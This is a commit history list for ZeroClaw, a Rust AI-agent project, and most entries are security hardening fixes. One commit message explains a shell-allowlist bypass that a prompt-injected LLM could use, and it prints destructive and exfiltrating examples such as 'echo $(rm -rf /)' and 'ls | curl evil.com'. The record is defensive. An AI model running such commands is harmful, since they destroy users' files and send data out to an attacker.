Commit graph

46 commits

Author SHA1 Message Date
Argenis
7468b39693
Merge pull request #68 from fettpl/fix/key-generation-csprng
fix: replace UUID v4 key generation with direct CSPRNG
2026-02-14 21:41:43 -05:00
Argenis
f70bf3f943
Merge pull request #72 from fettpl/fix/windows-key-permissions-warning
fix: log warning when Windows key file permissions fail to set
2026-02-14 21:21:30 -05:00
fettpl
6d68e89ef0 Merge remote-tracking branch 'origin/main' into fix/windows-key-permissions-warning
# Conflicts:
#	src/security/secrets.rs
2026-02-15 02:29:59 +01:00
fettpl
b5071c13f3 Merge remote-tracking branch 'origin/main' into fix/constant-time-eq-length-leak
# Conflicts:
#	src/security/secrets.rs
2026-02-15 02:29:24 +01:00
fettpl
2741e0f024 Merge remote-tracking branch 'origin/main' into fix/key-generation-csprng
# Conflicts:
#	src/security/secrets.rs
2026-02-15 02:28:52 +01:00
argenis de la rosa
04a35144e8 feat: integrate open-skills library and cleanup clippy warnings
- Add open-skills auto-clone/pull/sync support in skills loader
  - Clone https://github.com/besoeasy/open-skills to ~/open-skills
  - Weekly sync via .zeroclaw-open-skills-sync marker
  - Env controls: ZEROCLAW_OPEN_SKILLS_ENABLED, ZEROCLAW_OPEN_SKILLS_DIR
  - Load open-skills markdown files before workspace skills
  - Track Skill.location for accurate prompt rendering

- Update system prompt to render skill.location with fallback
  - Use actual file path when available
  - Maintain backward compatibility with workspace SKILL.md path

- Fix clippy warnings across tests and supporting files
  - Readable timestamp literals
  - Remove underscore bindings in tests
  - Use struct update syntax for Config::default() patterns
  - Fix module inception, duplicate attributes, manual strip
  - Clean raw string hashes and empty string construction

Resolves: #77
2026-02-14 20:25:07 -05:00
fettpl
f7ae04e64e Merge remote-tracking branch 'origin/main' into fix/windows-key-permissions-warning
# Conflicts:
#	src/security/secrets.rs
2026-02-15 02:16:00 +01:00
fettpl
e0341e5996 fix: replace unstable is_multiple_of with modulo for Rust 1.83 compat
The Docker image uses rust:1.83-slim where is_multiple_of is unstable.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 02:15:24 +01:00
fettpl
b3c995c849 Merge remote-tracking branch 'origin/main' into fix/constant-time-eq-length-leak 2026-02-15 02:15:13 +01:00
fettpl
dc0d6b6ca9 fix: replace unstable is_multiple_of with modulo for Rust 1.83 compat
The Docker image uses rust:1.83-slim where is_multiple_of is unstable.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 02:14:25 +01:00
fettpl
8d7e9a7dde Merge remote-tracking branch 'origin/main' into fix/key-generation-csprng 2026-02-15 02:14:06 +01:00
fettpl
ac7c625368 fix: replace unstable is_multiple_of with modulo for Rust 1.83 compat
The Docker image uses rust:1.83-slim where is_multiple_of is unstable.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 01:26:44 +01:00
argenis de la rosa
a68004184c fix(secrets): harden windows icacls username edge cases 2026-02-14 19:25:30 -05:00
fettpl
41ba251686 fix: replace unstable is_multiple_of with modulo for Rust 1.83 compat
The Docker image uses rust:1.83-slim where is_multiple_of is unstable.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 01:24:24 +01:00
argenis de la rosa
db1366f3e5 fix(ci): restore stable hex check and satisfy browser clippy gate 2026-02-14 19:09:35 -05:00
Argenis
b931aeb56c
Merge pull request #69 from fettpl/fix/llm-error-leakage
fix: stop leaking LLM error details to clients
2026-02-14 18:34:30 -05:00
fettpl
2f2f56fc0c fix: use branchless operations in constant_time_eq
- Use bitwise & instead of && to avoid short-circuit timing leak
- Use get().unwrap_or(&0) instead of if/else for branchless byte access

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 00:30:23 +01:00
fettpl
6fd4b2d750 fix: handle empty USERNAME and add debug log for icacls success
- Check for empty USERNAME env var before running icacls to avoid a
  doomed invocation with ":F" grant argument
- Log a clear warning when USERNAME is empty
- Add tracing::debug on successful permission set

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 00:29:22 +01:00
fettpl
a7ed2329d1 fix: assert variant_match in CSPRNG key entropy test
Add missing assertion for variant_match (byte[8] UUID v4 variant bits)
which was computed but never checked.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 00:25:20 +01:00
fettpl
6776373e8e fix: constant_time_eq no longer leaks secret length via early return
Remove the early return on length mismatch that leaked length
information via timing. Now iterates over max(a.len(), b.len()),
padding the shorter input with zeros, and checks both byte-level
differences and length equality at the end.

Closes #57

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 00:01:23 +01:00
fettpl
2942e5607d fix: log warning when Windows key file permissions fail to set
Replace silently discarded icacls result with proper error handling
that logs a tracing::warn! on failure. Previously, if icacls failed
(binary not found, permission denied), the key file would remain
world-readable on Windows with no indication of the problem.

Closes #56

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-14 23:59:36 +01:00
fettpl
25e5f670bb fix: stop leaking LLM error details to HTTP clients and WhatsApp users
Log full error details server-side with tracing::error! and return
generic messages to clients. Previously, the raw anyhow error chain
(which could include provider URLs, HTTP status codes, or partial
request bodies) was forwarded to end users.

Closes #59

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-14 23:53:39 +01:00
fettpl
1f9247092c fix: replace UUID v4 key generation with direct CSPRNG
Use ChaCha20Poly1305::generate_key(&mut OsRng) to generate encryption
keys directly from the OS CSPRNG, providing full 256-bit entropy without
the fixed version/variant bits that UUID v4 introduces (6 fixed bits
per 128-bit UUID = only 244 effective bits from two UUIDs).

Closes #54

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-14 23:51:57 +01:00
argenis de la rosa
3219387641 fix: add clippy allow for manual_is_multiple_of lint (stable Rust compat) 2026-02-14 16:47:27 -05:00
argenis de la rosa
fc033783b5 fix: replace unstable is_multiple_of with modulo operator (fixes #42) 2026-02-14 16:39:24 -05:00
argenis de la rosa
09d3140127 feat: add Docker env var support for PORT, HOST, and TEMPERATURE
- Add port and host fields to GatewayConfig with defaults (3000, 127.0.0.1)
- Enhanced apply_env_overrides() to support:
  - ZEROCLAW_GATEWAY_PORT or PORT - Gateway server port
  - ZEROCLAW_GATEWAY_HOST or HOST - Gateway bind address
  - ZEROCLAW_TEMPERATURE - Default temperature (0.0-2.0)
- Add comprehensive tests for all new env var overrides
- Fix clippy warnings (is_multiple_of, too_many_lines)

Closes #45
2026-02-14 16:19:26 -05:00
Argenis
365692853c
Merge pull request #44 from sahajre/patch-1
Use of stable lib feature instead of experimental
2026-02-14 15:58:53 -05:00
argenis de la rosa
153d6ff149 fix: resolve clippy warnings and formatting issues for CI
- Fix doc_markdown warnings in WhatsApp channel
- Fix needless_pass_by_value in cron, health, migration, service modules
- Fix match_same_arms in migration.rs
- Fix too_many_lines in skills/mod.rs
- Fix manual_let_else in tools/file_write.rs
- Apply cargo fmt formatting fixes

All 435 tests pass, clippy clean.
2026-02-14 15:36:19 -05:00
Rahul Madhav Upakare
29437f21e4
Use of stable lib feature instead of experimental
The is_multiple_of is a new, experimental feature  introduced to the Rust standard library, but it is not yet stabilized. It requires the nightly compiler to work. Therefore, replacing it with the equivalent modulo operator (%) from stable release.
2026-02-15 01:41:47 +05:30
argenis de la rosa
27b7df53da feat: add Windows support for skills symlinks and secret key permissions
- Add Windows symlink support in skills/mod.rs with fallback chain:
  1. symlink_dir (requires admin/developer mode)
  2. mklink /J junction (works without admin)
  3. copy_dir_recursive fallback
- Add Windows file permissions in security/secrets.rs using icacls
- Add copy_dir_recursive helper function for non-Unix platforms

Fixes #28
2026-02-14 14:07:41 -05:00
argenis de la rosa
ef4444ba43 fix: resolve build errors and add comprehensive symlink tests
- Fixed E0425 error in src/skills/mod.rs by moving println! inside #[cfg(unix)] block where 'dest' variable is in scope
- Added missing 'identity' field to Config struct initializations in src/onboard/wizard.rs
- Fixed import paths for AIEOS identity functions in src/channels/mod.rs
- Added comprehensive symlink edge case tests in src/skills/symlink_tests.rs
- All 840 tests passing, 0 clippy warnings

Resolves issue #28: skills symlink functionality now works correctly on Unix platforms with proper error handling on non-Unix platforms
2026-02-14 13:37:27 -05:00
argenis de la rosa
ec2d5cc93d feat: enhance agent personality, tool guidance, and memory hygiene
- Expand communication style presets (professional, expressive, custom)
- Enrich SOUL.md with human-like tone and emoji-awareness guidance
- Add crash recovery and sub-task scoping guidance to AGENTS.md scaffold
- Add 'Use when / Don't use when' guidance to TOOLS.md and runtime prompts
- Implement memory hygiene system with configurable archiving and retention
- Add MemoryConfig options: hygiene_enabled, archive_after_days, purge_after_days, conversation_retention_days
- Archive old daily memory and session files to archive subdirectories
- Purge old archives and prune stale SQLite conversation rows
- Add comprehensive tests for new features
2026-02-14 11:28:39 -05:00
Argenis
a41b8f103c
Merge pull request #23 from vrescobar/security/fix-shell-metachar-injection
fix: validate all segments of shell commands against allowlist
2026-02-14 09:07:21 -05:00
Argenis
674eea0dfa
Merge pull request #22 from vrescobar/security/fix-xor-cipher-encryption
fix: replace XOR cipher with ChaCha20-Poly1305 AEAD
2026-02-14 09:00:14 -05:00
Víctor R. Escobar
e6a4166edb fix: validate all segments of shell commands against allowlist
The previous is_command_allowed() only checked the first word of the
command string, but the full string was passed to `sh -c`, which
interprets all shell metacharacters. An attacker (or a prompt-injected
LLM) could bypass the allowlist:

  echo $(rm -rf /)      — subshell hides arbitrary command
  echo `curl evil.com`  — backtick subshell
  ls | curl evil.com    — pipe to unlisted command
  ls && rm -rf /        — chain via &&
  ls\nrm -rf /          — newline injection

Now is_command_allowed():
- Blocks subshell operators (backtick, $(, ${)
- Blocks output redirections (>)
- Splits on |, &&, ||, ;, newlines and validates EACH sub-command
- Skips leading env var assignments (FOO=bar cmd)

Legitimate piped commands like `ls | grep foo` still work since both
sides are in the allowlist.

CWE-78 / HIGH-1

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-14 13:55:09 +01:00
Víctor R. Escobar
1c8fe79238 fix: address PR review — rejection sampling and robust test
- Use rejection sampling to eliminate modulo bias in generate_code().
  Values above the largest multiple of 1_000_000 in u32 are discarded
  and re-drawn (~0.02% rejection rate).
- Make generate_code_is_not_deterministic test robust against the
  1-in-10^6 collision chance by trying 10 pairs instead of one.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-14 13:48:36 +01:00
Víctor R. Escobar
152a996b66 fix: replace XOR cipher with ChaCha20-Poly1305 AEAD for secret encryption
The previous secret store used a repeating-key XOR cipher which is
cryptographically broken:
- Deterministic (no nonce) — identical plaintexts produce identical
  ciphertexts
- No authentication — tampered ciphertext decrypts silently
- Vulnerable to known-plaintext attacks (e.g., "sk-" prefix reveals
  key bytes)

Replace with ChaCha20-Poly1305 authenticated encryption:
- Random 12-byte nonce per encryption (non-deterministic)
- Poly1305 authentication tag detects tampering
- Uses the same 32-byte key file (no migration needed for keys)

New ciphertext format is `enc2:<hex(nonce || ciphertext || tag)>`.
Legacy `enc:` values (XOR) are still decryptable for backward
compatibility during migration.

Adds chacha20poly1305 0.10 crate (pure Rust, no C dependencies).

New tests: tamper detection, wrong-key rejection, nonce uniqueness,
truncation handling, legacy XOR backward compatibility.

CWE-327 / CRIT-1

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-14 13:43:02 +01:00
Víctor R. Escobar
15a58eb7da fix: use CSPRNG for pairing code generation
Replace DefaultHasher + SystemTime + process::id() with UUID v4
(backed by getrandom/urandom CSPRNG) for pairing code generation.

The previous implementation used predictable entropy sources
(system time to ~1s precision and process ID) with a non-cryptographic
hash (SipHash), making the 6-digit code brute-forceable.

The new implementation extracts 4 random bytes from a UUID v4
(which uses the OS CSPRNG) and derives the 6-digit code from those.
No new dependencies added — reuses existing uuid crate.

Adds a test verifying non-deterministic output.

Ref: CWE-330 (Use of Insufficiently Random Values)

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-14 13:29:58 +01:00
argenis de la rosa
f8befafe4d feat: add Composio tool provider + encrypted secret store + wizard integration
- src/tools/composio.rs: ComposioTool implementing Tool trait
  - list/execute/connect actions via Composio API (1000+ OAuth apps)
  - 60s timeout, proper error handling, JSON schema for LLM
  - 12 tests covering schema, validation, serde, error paths

- src/security/secrets.rs: SecretStore for encrypted credential storage
  - XOR cipher with random 32-byte key stored in ~/.zeroclaw/.secret_key
  - enc: prefix for encrypted values, plaintext passthrough (backward compat)
  - Key file created with 0600 permissions (Unix)
  - 16 tests: roundtrip, unicode, long secrets, corrupt hex, permissions

- src/config/schema.rs: ComposioConfig + SecretsConfig structs
  - Composio: enabled (default: false), api_key, entity_id
  - Secrets: encrypt (default: true)
  - Both with serde(default) for backward compatibility
  - 8 new config tests

- src/onboard/wizard.rs: new Step 5 'Tool Mode & Security'
  - Sovereign (local only) vs Composio (managed OAuth) selection
  - Encrypted secret storage toggle (default: on)
  - 7-step wizard (was 6)

- src/tools/mod.rs: all_tools() now accepts optional composio_key
- src/agent/loop_.rs: wires Composio key from config into tool registry
- README.md: Composio integration + encrypted secrets documentation

1017 tests, 0 clippy warnings, cargo fmt clean.
2026-02-14 02:41:29 -05:00
argenis de la rosa
976c5bbf3c hardening: fix 7 production weaknesses found in codebase scan
Scan findings and fixes:

1. Gateway buffer overflow (8KB → 64KB)
   - Fixed: Increased request buffer from 8,192 to 65,536 bytes
   - Large POST bodies (long prompts) were silently truncated

2. Gateway slow-loris attack (no read timeout → 30s)
   - Fixed: tokio::time::timeout(30s) on stream.read()
   - Malicious clients could hold connections indefinitely

3. Webhook secret timing attack (== → constant_time_eq)
   - Fixed: Now uses constant_time_eq() for secret comparison
   - Prevents timing side-channel on webhook authentication

4. Pairing brute force (no limit → 5 attempts + 5min lockout)
   - Fixed: PairingGuard tracks failed attempts with lockout
   - Returns 429 Too Many Requests with retry_after seconds

5. Shell tool hang (no timeout → 60s kill)
   - Fixed: tokio::time::timeout(60s) on Command::output()
   - Commands that hang are killed and return error

6. Shell tool OOM (unbounded output → 1MB cap)
   - Fixed: stdout/stderr truncated at 1MB with warning
   - Prevents memory exhaustion from verbose commands

7. Provider HTTP timeout (none → 120s request + 10s connect)
   - Fixed: All 5 providers (OpenRouter, Anthropic, OpenAI,
     Ollama, Compatible) now have reqwest timeouts
   - Ollama gets 300s (local models are slower)

949 tests passing, 0 clippy warnings, cargo fmt clean
2026-02-14 01:47:08 -05:00
argenis de la rosa
b2aff60722 security: pass all 4 checklist items — gateway not public, pairing required, filesystem scoped, tunnel access
Security checklist from @anshnanda / @ledger_eth:
   Gateway not public — default bind 127.0.0.1, refuses 0.0.0.0 without
     tunnel or explicit allow_public_bind=true in config
   Pairing required — one-time 6-digit code printed on startup, exchanged
     for bearer token via POST /pair, enforced on all /webhook requests
   Filesystem scoped (no /) — workspace_only=true by default, null byte
     injection blocked, 14 system dirs + 4 sensitive dotfiles in forbidden
     list, is_resolved_path_allowed() for symlink escape prevention
   Access via Tailscale/SSH tunnel — tunnel system integrated, gateway
     refuses public bind without active tunnel

New files:
  src/security/pairing.rs — PairingGuard with OTP generation, constant-time
    code comparison, bearer token issuance, token persistence

Changed files:
  src/config/schema.rs — GatewayConfig (require_pairing, allow_public_bind,
    paired_tokens), expanded AutonomyConfig forbidden_paths
  src/config/mod.rs — export GatewayConfig
  src/gateway/mod.rs — public bind guard, pairing enforcement on /webhook,
    /pair endpoint, /health no longer leaks version/memory info
  src/security/policy.rs — null byte blocking, is_resolved_path_allowed(),
    expanded forbidden_paths (14 system dirs + 4 dotfiles)
  src/security/mod.rs — export pairing module
  src/onboard/wizard.rs — wire gateway config

935 tests passing (up from 905), 0 clippy warnings, cargo fmt clean
2026-02-14 00:39:51 -05:00
argenis de la rosa
4fceba0740 fix: CI failures — update deny.toml for cargo-deny v2, fix clippy derivable_impls
- deny.toml: remove deprecated fields (vulnerability, notice, unlicensed, copyleft)
  that were removed in cargo-deny v2. Add CDLA-Permissive-2.0 for webpki-roots.
- security/policy.rs: replace manual Default impl for AutonomyLevel with
  #[derive(Default)] + #[default] attribute (clippy::derivable_impls on Rust 1.93)

657 tests passing, 0 clippy warnings (Rust 1.93.1), cargo-deny clean
2026-02-13 17:09:22 -05:00
argenis de la rosa
bc31e4389b style: cargo fmt — fix all formatting for CI
Ran cargo fmt across entire codebase to pass CI's cargo fmt --check.
No logic changes, only whitespace/formatting.
2026-02-13 16:03:50 -05:00
argenis de la rosa
a5887ad2dc docs+tests: architecture diagram, security docs, 75 new edge-case tests
README:
- Add ASCII architecture flow diagram showing all layers
- Add Security Architecture section (Layer 1: Channel Auth,
  Layer 2: Rate Limiting, Layer 3: Tool Sandbox)
- Update test count to 629

New edge-case tests (75 new):
- SecurityPolicy: command injection (semicolon, backtick, dollar-paren,
  env prefix, newline), path traversal (encoded dots, double-dot in
  filename, null byte, symlink, tilde-ssh, /var/run), rate limiter
  boundaries (exactly-at, zero, high), autonomy+command combos,
  from_config fresh tracker
- Discord: exact match not substring, empty user ID, wildcard+specific,
  case sensitivity, base64 edge cases
- Slack: exact match, empty user ID, case sensitivity, wildcard combo
- Telegram: exact match, empty string, case sensitivity, wildcard combo
- Gateway: first-match-wins, empty value, colon in value, different
  headers, empty request, newline-only request
- Config schema: backward compat (Discord/Slack without allowed_users),
  TOML roundtrip, webhook secret presence/absence

629 tests passing, 0 clippy warnings
2026-02-13 16:00:15 -05:00
argenis de la rosa
542bb80743 security: harden architecture against Moltbot security model
- Discord: add allowed_users field + sender validation in listen()
- Slack: add allowed_users field + sender validation in listen()
- Webhook: add X-Webhook-Secret header auth (401 on mismatch)
- SecurityPolicy: add ActionTracker with sliding-window rate limiting
  - record_action() enforces max_actions_per_hour
  - is_rate_limited() checks without recording
- Gateway: print auth status on startup (ENABLED/DISABLED)
- 22 new tests (Discord/Slack allowlists, gateway header extraction,
  rate limiter: starts at zero, records, allows within limit,
  blocks over limit, clone independence)
- 554 tests passing, 0 clippy warnings
2026-02-13 15:31:21 -05:00
argenis de la rosa
05cb353f7f feat: initial release — ZeroClaw v0.1.0
- 22 AI providers (OpenRouter, Anthropic, OpenAI, Mistral, etc.)
- 7 channels (CLI, Telegram, Discord, Slack, iMessage, Matrix, Webhook)
- 5-step onboarding wizard with Project Context personalization
- OpenClaw-aligned system prompt (SOUL.md, IDENTITY.md, USER.md, AGENTS.md, etc.)
- SQLite memory backend with auto-save
- Skills system with on-demand loading
- Security: autonomy levels, command allowlists, cost limits
- 532 tests passing, 0 clippy warnings
2026-02-13 12:19:14 -05:00